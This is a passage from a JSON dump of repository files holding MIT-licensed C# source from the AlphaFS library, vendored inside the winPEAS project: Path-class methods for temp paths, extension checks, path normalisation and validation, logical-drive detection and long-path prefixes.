    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Returns the path of the current user's temporary folder.</summary>\n      /// <returns>The path to the temporary folder, ending with a backslash.</returns>\n      [SecurityCritical]\n      public static string GetTempPath()\n      {\n         return GetTempPathCore(null);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Returns the path of the current user's temporary folder.</summary>\n      /// <param name=\"combinePath\">The folder name to append to the temporary folder.</param>\n      /// <returns>The path to the temporary folder, combined with <paramref name=\"combinePath\"/>.</returns>\n      [SecurityCritical]\n      public static string GetTempPath(string combinePath)\n      {\n         return GetTempPathCore(combinePath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.HasExtension.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Determines whether a path includes a file name extension.</summary>\n      /// <returns><c>true</c> if the characters that follow the last directory separator (\\\\ or /) or volume separator (:) in the path include a period (.) followed by one or more characters; otherwise, <c>false</c>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path to search for an extension. The path cannot contain any of the characters defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      [SecurityCritical]\n      public static bool HasExtension(string path)\n      {\n         return System.IO.Path.HasExtension(path);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.Helpers.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.IO;\nusing System.Security;\nusing System.Text;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      internal static void CheckInvalidUncPath(string path)\n      {\n         // Tackle: Path.GetFullPath(@\"\\\\\\\\.txt\"), but exclude \".\" which is the current directory.\n         if (!IsLongPath(path) && path.StartsWith(UncPrefix, StringComparison.Ordinal))\n         {\n            var tackle = GetRegularPathCore(path, GetFullPathOptions.None, false).TrimStart(DirectorySeparatorChar, AltDirectorySeparatorChar);\n\n            if (tackle.Length >= 2 && tackle[0] == CurrentDirectoryPrefixChar)\n\n               throw new ArgumentException(Resources.UNC_Path_Should_Match_Format, \"path\");\n         }\n      }\n\n\n      /// <summary>Checks that the given path format is supported.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">A path to the file or directory.</param>\n      /// <param name=\"checkInvalidPathChars\">Checks that the path contains only valid path-characters.</param>\n      /// <param name=\"checkAdditional\">.</param>\n      internal static void CheckSupportedPathFormat(string path, bool checkInvalidPathChars, bool checkAdditional)\n      {\n         // \".\"\n         if (Utils.IsNullOrWhiteSpace(path) || path.Length == 1)\n            return;\n\n         var regularPath = GetRegularPathCore(path, GetFullPathOptions.None, false);\n\n         var isArgumentException = regularPath[0] == VolumeSeparatorChar;\n\n         var throwException = isArgumentException || regularPath.Length >= 2 && regularPath.IndexOf(VolumeSeparatorChar, 2) != -1;\n\n         if (throwException)\n         {\n            if (isArgumentException)\n               throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Unsupported_Path_Format, regularPath), \"path\");\n\n            throw new NotSupportedException(string.Format(CultureInfo.InvariantCulture, Resources.Unsupported_Path_Format, regularPath));\n         }\n\n         if (checkInvalidPathChars)\n            CheckInvalidPathChars(path, checkAdditional, false);\n      }\n\n\n      /// <summary>Checks that the path contains only valid path-characters.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">A path to the file or directory.</param>\n      /// <param name=\"checkAdditional\"><c>true</c> also checks for ? and * characters.</param>\n      /// <param name=\"allowEmpty\">When <c>false</c>, throws an <see cref=\"ArgumentException\"/>.</param>\n      [SecurityCritical]\n      private static void CheckInvalidPathChars(string path, bool checkAdditional, bool allowEmpty)\n      {\n         if (null == path)\n            throw new ArgumentNullException(\"path\");\n\n         if (!allowEmpty && (path.Trim().Length == 0 || Utils.IsNullOrWhiteSpace(path)))\n            throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, \"path\");\n\n         // Will fail on a Unicode path.\n         var pathRp = GetRegularPathCore(path, GetFullPathOptions.None, allowEmpty);\n\n\n         // Handle \"\\\\?\\GlobalRoot\\\" and \"\\\\?\\Volume\" prefixes.\n         if (pathRp.StartsWith(GlobalRootPrefix, StringComparison.OrdinalIgnoreCase))\n            pathRp = pathRp.ReplaceIgnoreCase(GlobalRootPrefix, string.Empty);\n\n         if (pathRp.StartsWith(VolumePrefix, StringComparison.OrdinalIgnoreCase))\n            pathRp = pathRp.ReplaceIgnoreCase(VolumePrefix, string.Empty);\n\n\n         for (int index = 0, l = pathRp.Length; index < l; ++index)\n         {\n            int num = pathRp[index];\n            switch (num)\n            {\n               case 34: // \"  (quote)\n               case 60: // <  (less than)\n               case 62: // >  (greater than)\n               case 124: // |  (pipe)\n                  throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Illegal_Characters_In_Path, (char) num), \"path\");\n\n               default:\n                  // 32: space\n                  if (num >= 32 && (!checkAdditional || num != WildcardQuestionChar && num != WildcardStarMatchAllChar))\n                     continue;\n\n                  goto case 34;\n            }\n         }\n      }\n\n\n      [SecurityCritical]\n      internal static string GetCleanExceptionPath(string path)\n      {\n         return GetRegularPathCore(path, GetFullPathOptions.None, true).TrimEnd(DirectorySeparatorChar, WildcardStarMatchAllChar);\n      }\n\n\n      /// <summary>Gets the path as a long full path.</summary>\n      /// <returns>The path as an extended length path.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to convert.</param>\n      /// <param name=\"pathFormat\">The path format to use.</param>\n      /// <param name=\"options\">Options for controlling the operation. Note that on .NET 3.5 the TrimEnd option has no effect.</param>\n      [SecurityCritical]\n      internal static string GetExtendedLengthPathCore(KernelTransaction transaction, string path, PathFormat pathFormat, GetFullPathOptions options)\n      {\n         if (null == path)\n            return null;\n\n\n         switch (pathFormat)\n         {\n            case PathFormat.LongFullPath:\n               if (options != GetFullPathOptions.None)\n               {\n                  // If pathFormat equals LongFullPath it is possible that the trailing backslashg ('\\') is not added or removed.\n                  // Prevent that.\n\n                  options &= ~GetFullPathOptions.CheckAdditional;\n                  options &= ~GetFullPathOptions.CheckInvalidPathChars;\n                  options &= ~GetFullPathOptions.FullCheck;\n                  options &= ~GetFullPathOptions.TrimEnd;\n\n                  path = ApplyFullPathOptions(path, options);\n               }\n\n               return path;\n\n\n            case PathFormat.FullPath:\n               return GetLongPathCore(path, GetFullPathOptions.None);\n\n            case PathFormat.RelativePath:\n#if NET35\n               // .NET 3.5 the TrimEnd option has no effect.\n               options = options & ~GetFullPathOptions.TrimEnd;\n#endif\n               return GetFullPathCore(transaction, false, path, GetFullPathOptions.AsLongPath | options);\n\n            default:\n               throw new ArgumentException(\"Invalid value: \" + pathFormat, \"pathFormat\");\n         }\n      }\n\n\n      [SecurityCritical]\n      internal static int GetRootLength(string path, bool checkInvalidPathChars)\n      {\n         if (checkInvalidPathChars)\n            CheckInvalidPathChars(path, false, false);\n\n         var index = 0;\n         var length = path.Length;\n\n         if (length >= 1 && IsDVsc(path[0], false))\n         {\n            index = 1;\n\n            if (length >= 2 && IsDVsc(path[1], false))\n            {\n               index = 2;\n               var num = 2;\n\n               while (index < length && (!IsDVsc(path[index], false) || --num > 0))\n                  ++index;\n            }\n         }\n\n         else if (length >= 2 && IsDVsc(path[1], true))\n         {\n            index = 2;\n\n            if (length >= 3 && IsDVsc(path[2], false))\n               ++index;\n         }\n\n         return index;\n      }\n\n\n      /// <summary>Check if <paramref name=\"c\"/> is a directory- and/or volume-separator character.</summary>\n      /// <returns><c>true</c> if <paramref name=\"c\"/> is a separator character.</returns>\n      /// <param name=\"c\">The character to check.</param>\n      /// <param name=\"checkSeparatorChar\">\n      ///   If <c>null</c>, checks for all separator characters: <see cref=\"DirectorySeparatorChar\"/>,\n      ///   <see cref=\"AltDirectorySeparatorChar\"/> and <see cref=\"VolumeSeparatorChar\"/>\n      ///   If <c>false</c>, only checks for: <see cref=\"DirectorySeparatorChar\"/> and <see cref=\"AltDirectorySeparatorChar\"/>\n      ///   If <c>true</c> only checks for: <see cref=\"VolumeSeparatorChar\"/>\n      /// </param>\n      [SecurityCritical]\n      internal static bool IsDVsc(char c, bool? checkSeparatorChar)\n      {\n         return checkSeparatorChar == null\n\n            // Check for all separator characters.\n            ? c == DirectorySeparatorChar || c == AltDirectorySeparatorChar || c == VolumeSeparatorChar\n\n            // Check for some separator characters.\n            : ((bool) checkSeparatorChar\n               ? c == VolumeSeparatorChar\n               : c == DirectorySeparatorChar || c == AltDirectorySeparatorChar);\n      }\n\n\n      [SuppressMessage(\"Microsoft.Maintainability\", \"CA1502:AvoidExcessiveComplexity\")]\n      [SuppressMessage(\"Microsoft.Performance\", \"CA1809:AvoidExcessiveLocals\")]\n      private static string NormalizePath(string path, GetFullPathOptions options)\n      {\n         var newBuffer = new StringBuilder(NativeMethods.MaxPathUnicode);\n         var index = 0;\n         uint numSpaces = 0;\n         uint numDots = 0;\n         var fixupDirectorySeparator = false;\n\n\n         // Number of significant chars other than potentially suppressible dots and spaces since the last directory or volume separator char.\n\n         uint numSigChars = 0;\n\n\n         // Index of last significant character.\n\n         var lastSigChar = -1;\n\n\n         // Whether this segment of the path (not the complete path) started with a volume separator char.  Reject \"c:...\".\n\n         var startedWithVolumeSeparator = false;\n         var firstSegment = true;\n         var lastDirectorySeparatorPos = 0;\n\n\n         // LEGACY: This code is here for backwards compatibility reasons.\n         // It ensures that \"\\\\foo.cs\\bar.cs\" stays \"\\\\foo.cs\\bar.cs\" instead of being turned into \"\\foo.cs\\bar.cs\".\n\n         if (path.Trim().Length > 0 && (path[0] == DirectorySeparatorChar || path[0] == AltDirectorySeparatorChar))\n         {\n            newBuffer.Append(DirectorySeparatorChar);\n            index++;\n            lastSigChar = 0;\n         }\n\n\n         // Normalize the string, stripping out redundant dots, spaces, and slashes.\n\n         while (index < path.Length)\n         {\n            var currentChar = path[index];\n\n            // We handle both directory separators and dots specially.  For \n            // directory separators, we consume consecutive appearances.  \n            // For dots, we consume all dots beyond the second in \n            // succession.  All other characters are added as is.  In \n            // addition we consume all spaces after the last other char\n            // in a directory name up until the directory separator.\n\n            if (currentChar == DirectorySeparatorChar || currentChar == AltDirectorySeparatorChar)\n            {\n               // If we have a path like \"123.../foo\", remove the trailing dots.\n               // However, if we found \"c:\\temp\\..\\bar\" or \"c:\\temp\\...\\bar\", do not.\n               // Also remove trailing spaces from both files & directory names.\n               // This was agreed on with the OS team to fix undeletable directory\n               // names ending in spaces.\n\n               // If we saw a '\\' as the previous last significant character and\n               // are simply going to write out dots, suppress them.\n               // If we only contain dots and slashes though, only allow\n               // a string like [dot]+ [space]*.  Ignore everything else.\n               // Legal: \"\\.. \\\", \"\\...\\\", \"\\. \\\"\n               // Illegal: \"\\.. .\\\", \"\\. .\\\", \"\\ .\\\"\n\n               if (numSigChars == 0)\n               {\n                  // Dot and space handling.\n                  if (numDots > 0)\n                  {\n                     newBuffer.Append(NormalizePathDotSpaceHandler(path, lastSigChar, numDots, startedWithVolumeSeparator));\n\n                     fixupDirectorySeparator = false;\n\n                     // Continue in this case, potentially writing out '\\'.\n                  }\n\n\n                  if (numSpaces > 0 && firstSegment)\n                  {\n                     // Handle strings like \" \\\\server\\share\".\n\n                     if (index + 1 < path.Length && (path[index + 1] == DirectorySeparatorChar || path[index + 1] == AltDirectorySeparatorChar))\n\n                        newBuffer.Append(DirectorySeparatorChar);\n                  }\n               }\n\n\n               numDots = 0;\n               numSpaces = 0; // Suppress trailing spaces\n\n               if (!fixupDirectorySeparator)\n               {\n                  fixupDirectorySeparator = true;\n                  newBuffer.Append(DirectorySeparatorChar);\n               }\n\n               numSigChars = 0;\n               lastSigChar = index;\n               startedWithVolumeSeparator = false;\n               firstSegment = false;\n\n\n               var thisPos = newBuffer.Length - 1;\n\n               if (thisPos - lastDirectorySeparatorPos - 1 > NativeMethods.MaxDirectoryLength)\n                  throw new PathTooLongException(path);\n\n               lastDirectorySeparatorPos = thisPos;\n            } // if (Found directory separator)\n\n            else\n               switch (currentChar)\n               {\n                  case CurrentDirectoryPrefixChar:\n                     // Reduce only multiple .'s only after slash to 2 dots. For\n                     // instance a...b is a valid file name.\n                     numDots++;\n                     // Don't flush out non-terminal spaces here, because they may in\n                     // the end not be significant.  Turn \"c:\\ . .\\foo\" -> \"c:\\foo\"\n                     // which is the conclusion of removing trailing dots & spaces,\n                     // as well as folding multiple '\\' characters.\n                     break;\n\n                  case ' ':\n                     numSpaces++;\n                     break;\n\n                  default: // Normal character logic\n                     fixupDirectorySeparator = false;\n\n                     // To reject strings like \"C:...\\foo\" and \"C  :\\foo\"\n                     if (firstSegment && currentChar == VolumeSeparatorChar)\n                     {\n                        // Only accept \"C:\", not \"c :\" or \":\"\n                        // Get a drive letter or ' ' if index is 0.\n                        var driveLetter = index > 0 ? path[index - 1] : ' ';\n\n                        var validPath = numDots == 0 && numSigChars >= 1 && driveLetter != ' ';\n\n                        if (!validPath)\n                           throw new ArgumentException(path, \"path\");\n\n\n                        startedWithVolumeSeparator = true;\n                        // We need special logic to make \" c:\" work, we should not fix paths like \"  foo::$DATA\"\n                        if (numSigChars > 1)\n                        {\n                           // Common case, simply do nothing.\n                           var spaceCount = 0; // How many spaces did we write out, numSpaces has already been reset.\n\n                           while (spaceCount < newBuffer.Length && newBuffer[spaceCount] == ' ')\n                              spaceCount++;\n\n                           if (numSigChars - spaceCount == 1)\n                           {\n                              newBuffer.Length = 0;\n                              newBuffer.Append(driveLetter);\n                              // Overwrite spaces, we need a special case to not break \"  foo\" as a relative path.\n                           }\n                        }\n\n                        numSigChars = 0;\n                     }\n\n                     else\n                        numSigChars += 1 + numDots + numSpaces;\n\n\n                     // Copy any spaces & dots since the last significant character to here.\n                     // Note we only counted the number of dots & spaces, and don't know what order they're in.  Hence the copy.\n\n                     if (numDots > 0 || numSpaces > 0)\n                     {\n                        var numCharsToCopy = lastSigChar >= 0 ? index - lastSigChar - 1 : index;\n\n                        if (numCharsToCopy > 0)\n                        {\n                           for (var i = 0; i < numCharsToCopy; i++)\n\n                              newBuffer.Append(path[lastSigChar + 1 + i]);\n                        }\n\n                        numDots = 0;\n                        numSpaces = 0;\n                     }\n\n                     newBuffer.Append(currentChar);\n                     lastSigChar = index;\n                     break;\n               }\n\n            index++;\n         }\n\n\n         if (newBuffer.Length - 1 - lastDirectorySeparatorPos > NativeMethods.MaxDirectoryLength)\n            throw new PathTooLongException(path);\n\n\n         // Drop any trailing dots and spaces from file & directory names, EXCEPT we MUST make sure that \"C:\\foo\\..\" is correctly handled.\n         // Also handle \"C:\\foo\\.\" -> \"C:\\foo\", while \"C:\\.\" -> \"C:\\\"\n\n         if (numSigChars == 0)\n         {\n            // Dot and space handling.\n            if (numDots > 0)\n               newBuffer.Append(NormalizePathDotSpaceHandler(path, lastSigChar, numDots, startedWithVolumeSeparator));\n         }\n\n\n         // If we ended up eating all the characters, bail out.\n\n         if (newBuffer.Length == 0)\n            throw new ArgumentException(path, \"path\");\n\n\n         // Disallow URL's here.  Some of our other Win32 API calls will reject them later, so we might be better off rejecting them here.\n         // Note we've probably turned them into \"file:\\D:\\foo.tmp\" by now.\n         // But for compatibility, ensure that callers that aren't doing a full check aren't rejected here.\n\n         if ((options & GetFullPathOptions.FullCheck) != 0)\n         {\n            var newBufferString = newBuffer.ToString();\n\n            if (newBufferString.StartsWith(Uri.UriSchemeHttp + \":\", StringComparison.OrdinalIgnoreCase) ||\n                newBufferString.StartsWith(Uri.UriSchemeFile + \":\", StringComparison.OrdinalIgnoreCase))\n               throw new ArgumentException(path, \"path\");\n         }\n\n\n         // Call the Win32 API to do the final canonicalization step.\n\n         const int result = 1;\n\n         // Throw an ArgumentException for paths like \\\\, \\\\server, \\\\server\\\n         // This check can only be properly done after normalizing, so // \\\\foo\\.. will be properly rejected.\n         // Also, reject \\\\?\\GLOBALROOT\\ (an internal kernel path) because it provides aliases for drives.\n\n         if (newBuffer.Length > 1 && newBuffer[0] == DirectorySeparatorChar && newBuffer[1] == DirectorySeparatorChar)\n         {\n            var startIndex = 2;\n\n            while (startIndex < result)\n            {\n               if (newBuffer[startIndex] == DirectorySeparatorChar)\n               {\n                  startIndex++;\n                  break;\n               }\n\n               startIndex++;\n            }\n\n            if (startIndex == result)\n               throw new ArgumentException(path, \"path\");\n         }\n\n\n         return newBuffer.ToString();\n      }\n\n\n      /// <summary>Dot and space handling.</summary>\n      private static StringBuilder NormalizePathDotSpaceHandler(string path, int lastSigChar, uint numDots, bool startedWithVolumeSeparator)\n      {\n         var newBuffer = new StringBuilder(NativeMethods.MaxPathUnicode);\n\n         // Look for \".[space]*\" or \"..[space]*\".\n\n         var start = lastSigChar + 1;\n\n         if (path[start] != CurrentDirectoryPrefixChar)\n            throw new ArgumentException(path, \"path\");\n\n\n         // Only allow \"[dot]+[space]*\", and normalize the legal ones to \".\" or \"..\".\n\n         if (numDots >= 2)\n         {\n            // Reject \"C:...\".\n\n            if (startedWithVolumeSeparator && numDots > 2)\n               throw new ArgumentException(path, \"path\");\n\n\n            if (path[start + 1] == CurrentDirectoryPrefixChar)\n            {\n               // Search for a space in the middle of the dots and throw.\n\n               for (var i = start + 2; i < start + numDots; i++)\n               {\n                  if (path[i] != CurrentDirectoryPrefixChar)\n                     throw new ArgumentException(path, \"path\");\n               }\n\n               numDots = 2;\n            }\n\n            else\n            {\n               if (numDots > 1)\n                  throw new ArgumentException(path, \"path\");\n\n               numDots = 1;\n            }\n         }\n\n\n         if (numDots == 2)\n            newBuffer.Append(CurrentDirectoryPrefixChar);\n\n\n         newBuffer.Append(CurrentDirectoryPrefixChar);\n\n         return newBuffer;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.IsLogicalDrive.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Checks if <paramref name=\"path\"/> is in a logical drive format, such as \"C:\", \"D:\".</summary>\n      /// <returns>true when <paramref name=\"path\"/> is in a logical drive format, such as \"C:\", \"D:\".</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The absolute path to check.</param>\n      public static bool IsLogicalDrive(string path)\n      {\n         return IsLogicalDriveCore(path, false, PathFormat.FullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Checks if <paramref name=\"path\"/> is in a logical drive format, such as \"C:\", \"D:\".</summary>\n      /// <returns>true when <paramref name=\"path\"/> is in a logical drive format, such as \"C:\", \"D:\".</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The absolute path to check.</param>\n      /// <param name=\"isRegularPath\"><c>true</c> indicates the path is already a regular path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      internal static bool IsLogicalDriveCore(string path, bool isRegularPath, PathFormat pathFormat)\n      {\n         if (pathFormat != PathFormat.LongFullPath)\n         {\n            if (Utils.IsNullOrWhiteSpace(path))\n               throw new ArgumentNullException(\"path\");\n\n            CheckSupportedPathFormat(path, true, true);\n         }\n\n\n         if (!isRegularPath)\n            path = GetRegularPathCore(path, GetFullPathOptions.None, false);\n\n         var regularPath = path.StartsWith(LogicalDrivePrefix, StringComparison.OrdinalIgnoreCase) ? path.Substring(LogicalDrivePrefix.Length) : path;\n         \n         var c = regularPath.ToUpperInvariant()[0];\n\n         // Don't use char.IsLetter() here as that can be misleading; The only valid drive letters are: A-Z.\n\n         return regularPath[1] == VolumeSeparatorChar && c >= 'A' && c <= 'Z';\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.IsLongPath.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Determines whether the specified path starts with a <see cref=\"LongPathPrefix\"/> or <see cref=\"LongPathUncPrefix\"/>.</summary>\n      /// <returns><c>true</c> if the specified path has a long path (UNC) prefix, <c>false</c> otherwise.</returns>\n      /// <param name=\"path\">The path to the file or directory.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1062:Validate arguments of public methods\", MessageId = \"0\", Justification = \"Utils.IsNullOrWhiteSpace validates arguments.\")]\n      [SecurityCritical]\n      public static bool IsLongPath(string path)\n      {\n         return !Utils.IsNullOrWhiteSpace(path) && (path.StartsWith(LongPathUncPrefix, StringComparison.OrdinalIgnoreCase) || path.StartsWith(LongPathPrefix, StringComparison.Ordinal));\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.IsPathRooted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Gets a value indicating whether the specified path string contains absolute or relative path information.</summary>\n      /// <returns><c>true</c> if <paramref name=\"path\"/> contains a root; otherwise, <c>false</c>.</returns>\n      /// <remarks>\n      ///   The IsPathRooted method returns <c>true</c> if the first character is a directory separator character such as\n      ///   <see cref=\"DirectorySeparatorChar\"/>, or if the path starts with a drive letter and colon (<see cref=\"VolumeSeparatorChar\"/>).\n      ///   For example, it returns true for path strings such as \"\\\\MyDir\\\\MyFile.txt\", \"C:\\\\MyDir\", or \"C:MyDir\".\n      ///   It returns <c>false</c> for path strings such as \"MyDir\".\n      /// </remarks>\n      /// <remarks>This method does not verify that the path or file name exists.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to test. The path cannot contain any of the characters defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      [SecurityCritical]\n      public static bool IsPathRooted(string path)\n      {\n   